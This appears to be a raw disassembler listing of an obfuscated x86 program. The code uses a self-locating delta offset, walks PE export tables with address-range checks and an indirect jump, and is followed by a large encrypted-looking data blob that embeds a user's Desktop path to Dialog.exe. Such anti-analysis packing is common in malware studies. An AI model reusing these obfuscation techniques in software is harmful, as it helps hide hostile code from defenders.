		jz	loc_5C6E88


loc_5C6E52:				; CODE XREF: .XComp0:005C6E40j
		cmp	eax, [ebp+5F92109h]
		jz	loc_5C6E88
		cmp	eax, [ebp+5F90FC5h]
		jz	loc_5C6E88
		cmp	eax, [ebp+5F909A1h]
		jz	loc_5C6E88
		cmp	dword ptr [ebp+5F92941h], 1
		jz	loc_5C6E88
		jmp	loc_5C6EE7
; ---------------------------------------------------------------------------


loc_5C6E88:				; CODE XREF: .XComp0:005C6E4Cj
					; .XComp0:005C6E58j ...
		mov	edx, eax
		add	edx, [edx+3Ch]
		mov	edi, [edx+88h]
		mov	ecx, [edx+78h]
		test	ecx, ecx
		jz	loc_5C6EE7
		add	edx, 0F8h
		mov	esi, [edx+0Ch]
		add	ecx, eax
		mov	ebx, [ecx+1Ch]
		mov	edx, [ecx+14h]
		add	ebx, eax


loc_5C6EB1:				; CODE XREF: .XComp0:005C6ECFj
		mov	ecx, [ebx]
		test	ecx, ecx
		jz	loc_5C6ECB
		cmp	ecx, esi
		jb	loc_5C6EDA
		cmp	ecx, edi
		jnb	loc_5C6EDA


loc_5C6ECB:				; CODE XREF: .XComp0:005C6EB5j
		add	ebx, 4
		dec	edx
		jnz	loc_5C6EB1
		jmp	loc_5C6EE7
; ---------------------------------------------------------------------------


loc_5C6EDA:				; CODE XREF: .XComp0:005C6EBDj
					; .XComp0:005C6EC5j
		lea	ebx, [ebp+5F94EE8h]
		mov	eax, 5
		jmp	ebx
; ---------------------------------------------------------------------------


loc_5C6EE7:				; CODE XREF: .XComp0:005C6E83j
					; .XComp0:005C6E98j ...
		popa
		retn
; ---------------------------------------------------------------------------


loc_5C6EE9:				; CODE XREF: .XComp0:loc_5C6E34j
		or	edx, eax
		lea	ecx, [ebp+5FEB9D5h]
		push	0
		push	ebx
		call	sub_5C6EFC
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C6EFC	proc near		; CODE XREF: .XComp0:005C6EF4p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Dh
		inc	ebx
		push	ebx
		retn
sub_5C6EFC	endp

; ---------------------------------------------------------------------------
		dd 0CA335B62h, 922ECE5h, 0BA665187h, 9D29528Ah,	5F90625h
		dd 0CDD8D89h, 0BA6605F9h, 85C7EE84h, 5F926C1h, 6ED8h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 2CC35141h, 44FE144Dh
		dd 958B33C2h, 5F914D1h,	0FD85C7h, 5F9h,	6A0000h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h
		dd 0FA35ECC3h, 2409B5FFh, 9D8B05F9h, 5F924D1h, 20D595FFh
		dd 6A05F9h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h
		dd 51410000h, 7AB3FDC3h, 660D38C4h, 6A6374B8h, 0ED95FF00h
		dd 8B05F91Ah, 0D37CEBC0h, 6135DDDEh, 6FA28D72h,	83C1A11Bh
		dd 0B123BAEBh, 0EFA66F77h, 3737B8CCh, 5CAC783Ch, 0FBD09F93h
		dd 68A0988Bh, 4ED00CCAh, 894FFB04h, 4472EE84h, 1EC72C6h
		dd 0FD8765EEh, 1B8D3591h, 0B0F8CE8Fh, 4B12306Eh, 5CBE75E9h
		dd 0D8643805h, 52AB022Bh, 17F20A8Ch, 66A7F4DDh,	1ECD27C8h
		dd 928AFFAAh, 0EF6BEC7Ch, 9AFEF23Bh, 0FCD08AB5h, 0FA2CAF95h
		dd 29D68356h, 67BFBE0h,	0E9EEDD61h, 9Ah, 4952BB41h, 445C3A43h
		dd 6D75636Fh, 73746E65h, 646E6120h, 74655320h, 676E6974h
		dd 614D5C73h, 6D697472h, 72614320h, 656E6F62h, 7365445Ch
		dd 706F746Bh, 6169445Ch, 2E676F6Ch, 657865h, 16h dup(0)
		dd 0F9E90000h, 68000015h, 5FEBD3Ah, 0FBC928E9h,	0BEA168FFh
		dd 1EE905FEh, 68FFFBC9h, 5FEC164h, 0FBC914E9h, 0C1A368FFh
		dd 0AE905FEh, 68FFFBC9h, 5FEC2B1h, 0FBC900E9h, 0C3A768FFh
		dd 0F6E905FEh, 68FFFBC8h, 5FEC914h, 0FBC8ECE9h,	0CD8F68FFh
		dd 0E2E905FEh, 68FFFBC8h, 5FECF21h, 0FBC8D8E9h,	0D827D2FFh
		dd 1FD6FE43h, 0D61FD51Ch, 1CDBFC41h, 0D528D21Fh, 7D0EC942h
		dd 509D9A5Bh, 7BC255A4h, 539A9D54h, 49C4579Eh, 0B9F08CE5h
		dd 0BB6C9F21h, 2C53BACBh, 9497BAADh, 0ECDD18BDh, 2600E437h
		dd 0BC1406F1h, 0DF028913h, 793E359Ah, 0AD46AE10h, 9ADF0213h
		dd 3E03D8CBh, 81D95E99h, 0C58E3B60h, 0FE1A9882h, 0AD58EFFh
		dd 0C4033ACDh, 0B04015F2h, 0DE80EE0h, 0C7FCC79Ch, 0ACDEFF57h
		dd 85F38671h, 0E8BDA05Bh, 569CA0D3h, 0DCB329Bh,	2D9F26D3h
		dd 0AE43199Eh, 2E30EB0Ah, 827B0DE5h, 679640C5h,	5D6B94h
		dd 0E0810000h, 91D64861h, 391A9362h, 5E339C7Eh,	0C49CA010h
		dd 0FF186DCDh, 6BD2BB00h, 9F2610EDh, 8607EE26h,	6E5F963Bh
		dd 0BF3ED8B5h, 0A45183CEh, 0F122B554h, 5D330883h, 0B99C677Ch
		dd 7348BB06h, 7BC6427Bh, 21BA2282h, 9F262A87h, 0C6ED443Fh
		dd 12E5BE2Fh, 12AE9h, 0D2048900h, 26ECD823h, 431406F1h
		dd 4967E857h, 7F6241ACh, 0D172169Eh, 0AF593F28h, 0CEBFFCC7h
		dd 0FDF41B70h, 0B44173BAh, 0AE2BC839h, 8BF8A30Ah, 4A6EC3D2h
		dd 0F97578ABh, 0F1253E74h, 15CEBF04h, 6C30CC25h, 0F5AC9ADFh
		dd 3FB65B22h, 62FA62BCh, 0DF6C6FF9h, 411CD79Ah,	9ADF6CA7h
		dd 0F8F100B4h, 0F5C2C11Bh, 0DF704514h, 9463909Ah, 0C89D3A87h
		dd 2B13D02Fh, 0C46A6E5Ah, 0D9D3434Dh, 0D97E6701h, 772457Bh
		dd 72F7BD74h, 593AB342h, 0DF166400h, 0BE03E09Ah, 4F6842CEh
		dd 66D80BD8h, 0A0D6580Dh, 0D04B469Ch, 0FD196Eh,	0F198B88Dh
		dd 9DC2A17Ah, 0AB829562h, 3D47B08Ah, 0A9995A58h, 0A3E890EAh
		dd 0ED34876Eh, 628C0CCBh, 63E59D86h, 0AC15DA2Bh, 7DAE546h
		dd 0D8CD0345h, 9E996695h, 8558A54Fh, 0ADB8C48Bh, 0ABF6568h
		dd 0EC000013h, 0E02D2AC9h, 0E736C130h, 0E22F2CC9h, 0EC31C639h
		dd 0AF302BCAh, 48B55FF4h, 0AB4A6EB3h, 43B261B0h, 0A94C69B8h
		dd 2AD32BAEh, 9F21BF9Eh, 26635146h, 0A7F601F4h,	0FE93EB0Ah
		dd 0F4AF1ADDh, 0E0402427h, 5D64861h, 956BE6A7h,	0B85AABAEh
		dd 47F5A3Ch, 0BA22FCBFh, 692FA9A9h, 68D2BF7Ch, 0DF1A750Fh
		dd 0E532F19Ah, 0A0080F84h, 76DF779Ch, 9F2608EAh, 9EC0D52h
		dd 0BB00C3A0h, 916090E1h, 5883B18h, 260820A8h, 3ABB599Fh
		dd 25D8024Fh, 75A2EFA4h, 8E874DDh, 9D549F26h, 688E6762h
		dd 0A0789A9Bh, 9A1DD4B8h, 0BB800B69h, 7BA88CC5h, 10F1D82h
		dd 0C81D0000h, 5281D02Fh, 0AE692AA3h, 74F12642h, 5F34B53Ch
		dd 3ED829A4h, 227C11Ah,	0B8219ADFh, 9ADF022Ch, 72FFD998h
		dd 0B76CB746h, 8233B836h, 5E997A73h, 0DF1EACFBh, 0EB0AA79Ah
		dd 6FF42170h, 0DA660F41h, 829ADF06h, 0D559548Fh, 0DF06E07Ch
		dd 5AA55C9Ah, 9A9724A5h, 0B2379F7Fh, 4528F302h,	9CA03F90h
		dd 0A608130Eh, 89F0A9D5h, 0E6996499h, 0A07D6857h, 0BE498E58h
		dd 5BF4667Fh, 995A8A70h, 730B732Eh, 92FBFA1Eh, 0ADC68D1h
		dd 89889ADDh, 7384EC4Eh, 81155DEDh, 35FCBFDDh, 0C736E083h
		dd 8B2FFFCh, 4944B163h,	9284558Ah, 73ADB977h, 11A3AA7Ah
		dd 52850000h, 0A94998A3h, 5482CF4Ch, 0AE4796A1h, 5385CC4Fh
		dd 591695A2h, 4ACD30CAh, 1522CF03h, 4DCA29C8h, 1724D300h
		dd 59F3896h, 0C19F21BCh, 0F426CCC8h, 18C11901h,	9ADF028Ch
		dd 797E3938h, 32264021h, 5A90E6FCh, 0D423D09Dh,	6FF4256Ah
		dd 946DB23Fh, 9F67B0B9h, 0B1368136h, 5D7E13CFh,	0E3105D9Ah
		dd 8B289914h, 2922EC7h,	83539ADFh, 0B7FAFF3h, 0F72CE7D1h
		dd 0A720A64h, 0DF67D771h, 0A9948F9Ah, 9ADF671Fh, 0FC0FCCC7h
		dd 0A13A2445h, 9CA05EFCh, 0FF7E6F22h, 9F264E59h, 70A0E559h
		dd 17140B63h, 5AA548ABh, 1FF5C29Dh, 84C92CCAh, 6A29A453h
		dd 0F964ADADh, 0BF44827Ah, 6A8EE312h, 7641228Bh, 1945h
		dd 74A0E500h, 0F033C2F3h, 0E3C9C92Bh, 0B500000Bh, 33E08130h
		dd 0D50AC9C4h, 61E09E02h, 7DA0832Ah, 662B60F5h,	8C4742B5h
		dd 0FD8EE757h, 0E59CA004h, 75C18B14h, 666B69C7h, 0E3A29A90h
		dd 3296619Eh, 3FA7419Ah, 0D21F9F26h, 0D609D629h, 0DF165BD3h
		dd 0E3BE9518h, 0D01E6C12h, 0F63B80B9h, 0BF4436C1h, 9CE5E815h
		dd 77447F76h, 4F882D74h, 61FA8E91h, 9F26F6C7h, 0AC21847Fh
		dd 5C4D928Ch, 0E2152DE1h, 0AE516A36h, 0D225D63Bh, 0C592F1D7h
		dd 42157494h, 0D16B046Ch, 8DF86215h, 0DF1EB796h, 0C3A0551Ch
		dd 9BE6E70Eh, 52117C79h, 0A3E8528Dh, 5003866Bh,	0D92E908Bh
		dd 36FBC03Dh, 0C433E481h, 0D4D50AC9h, 17DE155Ah, 1FFABD96h
		dd 0F8621586h, 0D9D421D1h, 3CAD4C68h, 158F19C2h, 3C37F862h
		dd 0C9FABDACh, 0A063F853h, 17778473h, 158A16BFh, 29C7F862h
		dd 9602E1CCh, 926596DBh, 0B27F3C17h, 76F7F205h,	0F86215D5h
		dd 8730B53Dh, 599E7578h, 496E3106h, 4B6CF51Ch, 9D6241ACh
		dd 0D2AC772Ch, 0EA37D12Ah, 0F4AF079Dh, 38DD2427h, 0EA25BF18h
		dd 50A1079Dh, 548F54A3h, 4C8BA259h, 7D9EE020h, 0B688277Ah
		dd 590159A6h, 159D1B88h, 39C4A65Ch, 6FCE5D6h, 9C7D3AE6h
		dd 1E276F3h, 70087231h,	646E7D07h, 0ED2AE902h, 6F619D6Ah
		dd 2FC7B7D2h, 646E3AC6h, 2CEFA202h, 4684A952h, 14BC041Bh
		dd 9D7621BBh, 11E69D07h, 0FA62BCB7h, 9D76C761h,	37847F07h
		dd 175AF558h, 9A97D98Ah, 0AA4A9F7Fh, 73DC624Bh,	0D98D96E9h
		dd 96619E55h, 8CC21BB4h, 8180DFF2h, 0C59E5499h,	2CE7E213h
		dd 6A8BF6F7h, 7E41228Bh, 9CA9339Ch, 5E15DC74h, 0A69B3099h
		dd 0AA429B83h, 2ADA77C1h, 0FAC530E5h, 0CF26CB20h, 0D26E076Fh
		dd 8AD98859h, 243B2E97h, 0C9E42F5h, 0D0054CCFh,	7868D425h
		dd 9C4D6A64h, 0EE0D8h, 0E817C200h, 0FE60E53h, 0E60FC50Ch
		dd 0CEB0C51h, 0E518C20Fh, 8D1ED952h, 408D8A6Bh,	8BD26594h
		dd 438A8D64h, 59D4678Eh, 0C3C05CF5h, 8B7C9F21h,	6F12611h
		dd 0BBB65FB3h, 0EFB538ADh, 0EA1h, 96A15083h, 0CD4AA747h
		dd 98A35280h, 0CA4DB049h, 97A45183h, 2EC85B18h,	0D1054CCFh
		dd 2BCA1724h, 0D5024FCCh, 3A941522h, 21C307A1h,	0CACABF9Fh
		dd 995C7E13h, 720B7330h, 9ADF02D6h, 0F948938Eh,	0FA6987DCh
		dd 0F5AE1FDEh, 1FE4BF2Ah, 44B163AEh, 963709DAh,	368F6E87h
		dd 4E23841Bh, 8A8D4AADh, 0D3694F30h, 0DB6E6599h, 6C0BCB20h
		dd 8EFFFE17h, 38F502D5h, 841C3D1Dh, 6F8E2A0Eh, 78E6B896h
		dd 0D32CBA3h, 359CA015h, 0AA5307B0h, 9F26251Eh,	9518CBC6h
		dd 0E49FF9BEh, 0CC095AFBh, 0B4395D64h, 45AC64FDh, 87548F44h
		dd 0E97EBD74h, 0C5B73768h, 7BD44679h, 58E431A2h, 74F96120h
		dd 0F7AC973Ch, 0C1997D54h, 6ED0B9FEh, 8D00FD19h, 37F601D6h
		dd 4F943C1Eh, 0E0F958A5h, 0E97FDA1Dh, 6D5D6165h, 0FDDC6811h
		dd 89885E9Eh, 0F78CE456h, 0F6AD20DDh, 40B75C21h, 62FB63BBh
		dd 5E9EFDC6h, 0E938837Eh, 98F029CCh, 75E979B7h,	0D93B074h
		dd 42750000h, 0B959A8B3h, 4472BF3Ch, 0BE57A6B1h, 4375BC3Fh
		dd 6926A5B2h, 3ABD40DAh, 2532BFF3h, 3DBA39D8h, 2734C3F0h
		dd 15AF48A6h, 0D19F21C0h, 0F126DCD8h, 13BC1406h, 9ADF0289h
		dd 10793E35h, 7BE312C1h
		dd 1FC2E16Ah, 0DA1D3633h, 0DEC0FC5Dh, 1D3E9ADFh, 0EA23AA0Fh
		dd 74875425h, 1AC29CBDh, 68D124D5h, 9ADFBCDCh, 0EC4E8988h
		dd 0CBE17384h, 0EAD46451h, 7CED4C2Dh, 7DD59CDEh, 218C48D4h
		dd 0FF58F49Fh, 9F218C65h, 1ADD22E1h, 165BC3BEh,	0BC9712E5h
		dd 32B71FFFh, 9F747588h, 15E0155Ch, 9824CD25h, 449F218Ch
		dd 26B9744Dh, 692DC767h, 0A951A9AEh, 2196B450h,	971309Fh
		dd 2196D470h, 4691909Fh, 0B21BDAF7h, 482AB55Fh,	5185CA42h
		dd 0B636699h, 28A15486h, 32E1B06Bh, 0B62BB51Eh,	129C9F21h
		dd 4A9F052h, 53908375h,	0BD14B48Ah, 905495A7h, 0C9Dh, 92A5547Fh
		dd 0C94EA34Bh, 94A74E84h, 0CE49AC4Dh, 93A8557Fh, 2ACC5F1Ch
		dd 0D50150CBh, 27CE1328h, 0D1064BD0h, 36981126h, 21C1039Dh
		dd 0CECEBB9Fh, 1406F126h, 438FBF43h, 0E1520BCEh, 0AE946D86h
		dd 34A5727Dh, 767F35BAh, 10E70E73h, 0BEF9C69Dh,	0CBB3426Fh
		dd 30449546h, 9DF1F2E2h, 4C07823Dh, 27821E8Fh, 919DBE94h
		dd 0F1EA193h, 5186CB10h, 0DAA3B4A6h, 6B9826C6h,	66E863B8h
		dd 8874D22Dh, 72DBEh, 61E03200h, 0BE7DD648h, 0A69CDE48h
		dd 349DB361h, 9F21B8A8h, 55A25D14h, 0E682DB73h,	5E9F21B8h
		dd 0DDFE60A3h, 2251B1C1h, 8FEF2CDFh, 0F576A2E7h, 0FFEA35C0h
		dd 6D8AD724h, 0E004226Ch, 0AC4A9A74h, 0F1499649h, 0E7F769Ch
		dd 20DFF855h, 2621F6ADh, 39C32CC4h, 0A59F2102h,	1B1E29EEh
		dd 65129BE4h, 5BA8C986h, 184D6E03h, 0D390F9F8h,	5BE2CB10h
		dd 24D29D8Ch, 928853AEh, 0BE2D749h, 82DAh, 57005800h, 0E64D0DCDh
		dd 533D7A79h, 369F5DE0h, 9ADF02AAh, 0BAA45F12h,	0B9B879A9h
		dd 48670837h, 0A06340A9h, 638B15BEh, 40339ADFh,	0A33BA37Bh
		dd 0DF63AE3Ah, 0F005AB9Ah, 0BFB226FDh, 638721FCh, 443F9ADFh
		dd 26DF09DAh, 0EA932623h, 0A6FF531Fh, 8A4D51F1h, 0AA4A9F1Fh
		dd 3681624Bh, 375509D3h, 5D231FAh, 0D07C60Fh, 155768h
		dd 6D70000h, 7D75F8ABh,	8CF8C303h, 0A0577E13h, 281B95Bh
		dd 0E03B0000h, 0E449445Dh, 212CF615h, 9FFBC47h,	0F0876D0h
		dd 3D61h, 648CE100h, 0E0664A8Dh, 0F104B25Dh, 9B43BB2Eh
		dd 0DF02A642h, 0EF451E9Ah, 0DC6C3315h, 0CFAA6DB2h, 212CB459h
		dd 9640C539h, 0FCBF9467h, 8B0CD06h, 0BC58AD0Fh,	44974C3Dh
		dd 9F9Bh, 0F2131100h, 0BB29BCF7h, 25CC03BFh, 2F0A1DDAh
		dd 30DF2416h, 2329B31Ch, 0DE959ADFh, 0DB74D621h, 9ADF2341h
		dd 0B170E8FDh, 9EF45B2h, 0D82D0DD6h, 13D0B938h,	0F0D442B2h
		dd 0E92E7C22h, 2231DC18h, 0D72016A1h, 0B788740Bh, 39AFF7A6h
		dd 2D04A84Ah, 0A57E6F86h, 46A952h, 133F0000h, 0D69B5A7Eh
		dd 0FBD8D124h, 0F7122BC0h, 0EE87EF87h, 9ADF0252h, 69C4170Ah
		dd 9ADF02D9h, 0A8AB8A89h, 875437F6h, 74DE4891h,	2DE32888h
		dd 2C0EC5C8h, 0DF0A39C3h, 29EEA59Ah, 702h, 90C9F600h, 2B000001h
		dd 9E597E13h, 81A3782Bh, 144h, 11DEDCFDh, 6C65E434h, 7E1345AFh
		dd 0C89D8059h, 43ABFD73h, 81560D80h, 0EC08B376h, 2368D20Dh
		dd 0CD8607EEh, 0DB1E9F0Ah, 1ECD08CDh, 0B98CFDF8h, 0F6A99F89h
		dd 0D9F958F6h, 1E8F6E8Ah, 910F7A45h, 474A532h, 73BCB285h
		dd 5333248Eh, 0F2DB1ABEh, 0C135E631h, 0AB000000h, 976DF213h
		dd 0F9133793h, 0F51029BEh, 7A50EC85h, 0E68E9ADFh, 0DF7AF38Dh
		dd 63B86B9Ah, 5BB08A89h, 0EE11AAB9h, 95BDB831h,	3A0C6DA0h
		dd 0AF1ADD22h, 0FFE8AE4Eh, 0C62BE3FAh, 9B5A7EC3h, 0F61C7132h
		dd 40A94C6Dh, 9B2DA063h, 0DA3A6BF0h, 4F1256Ah, 9DF5CB7h
		dd 616CBFF8h, 0A378D1C6h, 546C72ABh, 4A0368h, 0E0F90000h
		dd 81DA445Dh, 9ADF02E7h, 0C529A45Fh, 23D09140h,	0C5FAD9D4h
		dd 71CC0FC4h, 35FF37CBh, 9DF5CE7h, 2F7C0871h, 116AF7FFh
		dd 0F7FF2F77h, 0ABC834EFh, 0F83021F0h, 407B48BEh, 54C375BEh
		dd 0E110551Bh, 1116C512h, 8A000000h, 76C9h, 0B41DB500h
		dd 9ADF0228h, 0B61ADD94h, 8306F126h, 0C72EE62Bh, 28C19F4h
		dd 2DC79ADFh, 4074DDD0h, 399838B1h, 87B4D7Eh, 5CF55D33h
		dd 9ADF02C0h, 0EB32857Ch, 482C2FC6h, 9B25DE0h, 0E320F3F6h
		dd 597B1076h, 0D61FD59Ch, 0E0CDB601h, 30C5EB80h, 0ECC398EBh
		dd 9ADF172Eh, 0D1B901F9h, 9B488874h, 5CFFFFFEh,	3B9C9h
		dd 0B41DB500h, 9ADF0228h, 8A6E8F29h, 26604497h,	0B83F74F1h
		dd 0B9A15E35h, 78718034h, 8E1AC39Bh, 369ADF02h,	0B10D803Bh
		dd 0EBB535D0h, 11E61A48h, 0CB50A74Ch, 0E6CA0140h, 0CE2A1CDAh
		dd 724CD881h, 0F9F89ADFh, 0B921F9C6h, 0A1767D34h, 0A043F7C8h
		dd 33B66D9Ch, 787F36BBh, 599E75h, 9F264358h, 986EE958h
		dd 430D9740h, 0AC4E9F26h, 19836049h, 549D9D5Ah,	0E5827B9Dh
		dd 68h,	126B13FBh, 9ADF0276h, 0BA5E33EEh, 0D66B803Bh, 0BB08F521h
		dd 301A8263h, 74B9DCE8h, 652EC7A7h, 9B9CA00Fh, 75DE76E8h
		dd 9F260FEBh, 0C662FB53h, 7E9F260Fh, 75DE4083h,	9F260FEBh
		dd 725BA053h, 260F4D0Bh, 8D96D9Fh, 32EB4A25h, 74CF0CF7h
		dd 557C11E7h, 98E1599Eh, 78827B4Fh, 0B435BCF3h,	0F5F31CDFh
		dd 9000000h, 9E597E13h,	28913BCh, 3E359ADFh, 0F8FFB479h
		dd 0E66A8CF5h, 0DF02F38Dh, 6BB86B9Ah, 9B5A7E13h, 33A67132h
		dd 0DBCE29CEh, 0A1B64176h, 0DF1E7148h, 0F71C719Ah, 3DB0476Eh
		dd 73309966h, 0B93CD9A8h, 7194A93Eh, 0A74E8409h, 0DFCA2DCAh
		dd 0FF57B704h, 5A7DC8DEh, 0CF9E2FA2h, 2801D623h, 9CA3BCAFh
		dd 44E079D5h, 959F243Dh, 70239560h, 0C1126195h,	649FCCB1h
		dd 0B24375FAh, 0A430B7C8h, 7AE8A6D0h, 4173BA3Dh, 301B69B4h
		dd 0CD00A7C0h, 73027h, 18E71200h, 0DF16BE03h, 16DF155Ch
		dd 0DC1BBC01h, 15E8125Fh, 3DCE8902h, 90DD5A9Bh,	3B829564h
		dd 93DA5D94h, 984975Eh,	0CBB04CA5h, 7B2C9F21h, 6FF42681h
		dd 7EE2546h, 0CD12CD86h, 365B8C6Dh, 931BA54Eh, 0D0C39ADFh
		dd 0C5437BF5h, 0BA8F5F2h, 670F6FECh, 0DFA5720Eh, 0F719EA9Ah
		dd 12761BE8h, 34A05BA8h, 3F74F126h, 0FC826BB8h,	6CAF4E67h
		dd 0B60F025h, 0C2A10CE9h, 0DF02CD57h, 0C9E8799Ah, 502AF52Ah
		dd 0EBDE13BBh, 668E338h, 8977A9F5h, 397E4AA0h, 4768FAEh
		dd 28A1507Fh, 25CEB06Bh, 9CA08F68h, 0B9A1BD96h,	368CE871h
		dd 0D77091E9h, 0C4DE4945h, 0AB127B40h, 9F262613h, 0FA03D833h
		dd 93629043h, 0A13B941Ah, 1D9F2626h, 0E9489966h, 8EA12788h
		dd 81DA447Fh, 9959D514h, 3B91720Ah, 1A99E790h, 7B3AC6B7h
		dd 0EFA29ADFh, 49B24A34h, 9ADF7BBFh, 0ACAF6C27h, 0E015BD52h
		dd 8372A4EDh, 0D1707B40h, 46C6EC9Ah, 659A4CB6h,	0B54470F5h
		dd 0C29C5F34h, 0DEFAD219h, 567D129Ch, 0D70CE90Dh, 0DEBAFDD6h
		dd 5B63B23h, 6B8AF7F2h,	7D42218Ch, 658BE03Ah, 84962572h
		dd 213351EBh, 0AB160D9Fh, 35EA4554h, 0E737C722h, 91409F21h
		dd 6F2BD562h, 0C9000000h, 0DF024A12h, 0FD176C9Ah, 21B88D00h
		dd 5755FFF5h, 38C318CBh, 1160DBF4h, 0A25180E3h,	0C7B76C27h
		dd 0FB3AC62Fh, 0EFA29ADFh, 0A03CC12Ch, 0AC9ADFFBh, 57AC8255h
		dd 935039B8h, 1ADBF948h, 0BC15BD1Dh, 9ADFFB20h,	0E06EC79Ch
		dd 0FCC334B2h, 862DF4C7h, 0D1BC39DDh, 61DCCD12h, 9ADF5EC4h
		dd 0E68FE797h, 9ADF5E5Ah, 77CC0F02h, 3F221E4h, 0F2130CF8h
		dd 9D71D0BFh, 958A330h,	1CA20BEAh, 0E1CC29C7h, 0D64E9F02h
		dd 94CDACE2h, 77DBFA47h
		dd 6FEA76DFh, 9F529ADFh, 0DF6F22BEh, 77E79A9Ah,	0DF6F42DEh
		dd 0BC07FA9Ah, 67F44FD1h, 0F490E991h, 709ADF6Fh, 8508F51Fh
		dd 77C611CEh, 2CC19958h, 0A2816C8Bh, 0E078D255h, 0DF6FED77h
		dd 9476629Ah, 3AD906BCh, 0F558A35Eh, 9ADF2B53h,	0B6B0E872h
		dd 0F98E8874h, 2EDD1ADBh, 0FFFFFF18h, 5A052B4Ch, 9F1AB1FDh
		dd 7E13785Ch, 0C3B37F58h, 0C70E597Fh, 7BD291FCh, 72319C59h
		dd 2A3BD8A5h, 0A57E6F8Eh, 466B005Ah, 7C653EAFh,	0A8FD3E23h
		dd 584196F1h, 5129CCE9h, 1E5FF430h, 52A5BF79h, 88DD75D5h
		dd 461D906Fh, 0DF5B49D3h, 0B9FEF59Ah, 0A8510F2Eh, 9ADF5B1Ch
		dd 4C84C9C8h, 0B46F24A5h, 6A5C31CAh, 7D029CA0h,	0C662FB55h
		dd 7E9F266Ah, 964D4083h, 0F089F149h, 9F266A54h,	0D3C61110h
		dd 0FAE98A5Bh, 9FBB8127h, 555B015Ch, 0EC579F26h, 8740796Fh
		dd 59D1827Bh, 71000000h, 0E3172D90h, 58A3987Dh,	4861E06Ch
		dd 956891D6h, 52663F14h, 0D122D09Fh, 0E991E92Eh, 5A4BB818h
		dd 8A4D76D1h, 0A00CE2AFh, 6861209Ch, 260C4705h,	9B5A7C9Fh
		dd 0C633DF32h, 815635C3h, 0DE59E850h, 7D077008h, 7E9F260Ch
		dd 453CA057h, 0D43F7872h, 0A2D0827Bh, 0E4000001h, 1406F126h
		dd 28913BCh, 3E359ADFh,	59AE1079h, 0B67B40BDh, 19A34C04h
		dd 0C59ADF02h, 79036CCEh, 0E59ADF02h, 489F12Eh,	0A84825CCh
		dd 38836049h, 0E891E945h, 9ADF025Ch, 6FB80908h,	0F39391B3h
		dd 0DE135A9Dh, 59A64F85h, 60790E70h, 9D10E50Bh,	6FBEF9C6h
		dd 2F32142h, 0DAF9CC87h, 60343659h, 1257C7FCh, 0BD9617E6h
		dd 66B14070h, 0E43188E1h, 0C9319ADFh, 0DFFC9430h, 0FC51509Ah
		dd 96DB20D7h, 29819661h, 0C4C52CE4h, 679C597Dh,	0AF28CD94h
		dd 76B3AB7h, 0B297FB22h, 8FE43889h, 15E0155Ch, 0F51B70CAh
		dd 1D68D00h, 0F3451698h, 8A3E3F43h, 21202BF0h, 0B260F7EAh
		dd 0DFCABF49h, 996C279Ah, 914E35D0h, 45AC64A9h,	14C28F44h
		dd 0F02BE8E1h, 0BD84E58Eh, 14BC9CA0h, 268521BBh, 74E69D9Fh
		dd 268541DBh, 0B106FD9Fh, 0BF1F1CD7h, 0AF6C8B2Ah, 9A84A59Ch
		dd 5A898E41h, 466BF499h, 850A74AFh, 6E3CA550h, 0F9F1C41Ah
		dd 18C09A5Dh, 1FEFE347h, 0CCDF8553h, 0EC376421h, 420FCC17h
		dd 8D17C098h, 0BB9ADD4Fh, 0DD4F8622h, 59433E9Ah, 70F5659Ah
		dd 5F34B544h, 2474DE86h, 0CA0D6121h, 27D6004Dh,	0B9B5A4D6h
		dd 0A84C7DADh, 2B5h, 7A7D7C97h,	0E1767B33h, 7C7F769Ch
		dd 0E6718435h, 7B807D97h, 2B44704h, 0FD1968F3h,	0FFB6FB00h
		dd 0F91E63F8h, 1E80F9FEh, 21CF2BB5h, 0F6E6939Fh, 0F601F426h
		dd 0B9590AA7h, 0C697873Ch, 703ADEF8h, 77D5924Ch, 9ABF8859h
		dd 3F9F9C5Fh, 0E8B51A1Eh, 3681019Dh, 0B661E04Ah, 44B36401h
		dd 8A550E7Fh, 8F3748B0h, 9A0738Bh, 3906E590h, 0F0215068h
		dd 0D841522Bh, 0C4BF9CA0h, 14E1155Ah, 58D6C7h, 26D8CD57h
		dd 3D7A799Fh, 26D87CDCh, 975E959Fh, 0F005AB16h,	965D94FDh
		dd 95EC4013h, 28A391C2h, 6E9CBD93h, 3921C400h, 0DA750F68h
		dd 32F19F26h, 0E7302AEDh, 0C7827B0Ah, 24D29342h, 0C8FBD8D1h
		dd 139CCF3h, 13E00000h,	276126Bh, 33EE9ADFh, 797C99E8h
		dd 49A84CA1h, 4B61B8Eh,	2675F8F1h, 319ADF1Eh, 9923CC84h
		dd 0C79ADF06h, 0DF06922Eh, 65574A9Ah, 0C4FFF61Ch, 0B5FCFFh
		dd 0D40085F5h, 64DD780h, 0FAF99ADFh, 0CC0FC4C5h, 0F2132AE1h
		dd 739BF088h, 6E480D9h,	0A1609ADFh, 0FBC0995Eh,	699CA02Bh
		dd 80EE828Ch, 2B02D54Eh, 0A67D7085h, 0D47CDE59h, 2678E17Bh
		dd 3B885D9Fh, 0CF5FF5A9h, 4ED91EE1h, 1F64D6EFh,	54B601F0h
		dd 5A1DE9FBh, 0E70C5599h, 266BD310h, 0B14070F5h, 25A85B38h
		dd 29D1A96Eh, 424EE058h, 0B04BBCC5h, 188870F4h,	0C1904B98h
		dd 569D5417h, 4B2C8E89h, 1E091109h, 76BB00E7h, 3868B144h
		dd 15ADB96Bh, 12310D4h,	0D2050000h, 29C91823h, 0D4024FCCh
		dd 2EC71621h, 0D3054CCFh, 0D9961522h, 0CA4DB04Ah, 95A24F83h
		dd 0CD4AA948h, 97A45380h, 851FB816h, 419F21CDh,	0F4264C48h
		dd 0CAB4416Fh, 0DF029731h, 8F544F9Ah, 3BBA5AAFh, 42237B80h
		dd 4818C00Ah, 0D656EAEAh, 2E72ECCh, 7E33FABDh, 4C9F29D2h
		dd 4C479ADFh, 0E52A8497h, 75E0C134h, 0C3FA8BCBh, 261D8754h
		dd 3E8306F1h, 4ED95E99h, 0C28E44EFh, 0DF028F19h, 873C379Ah
		dd 0A8924D06h, 0DE48EC4Fh, 4703D49Ch, 39B8576Eh, 0A1329350h
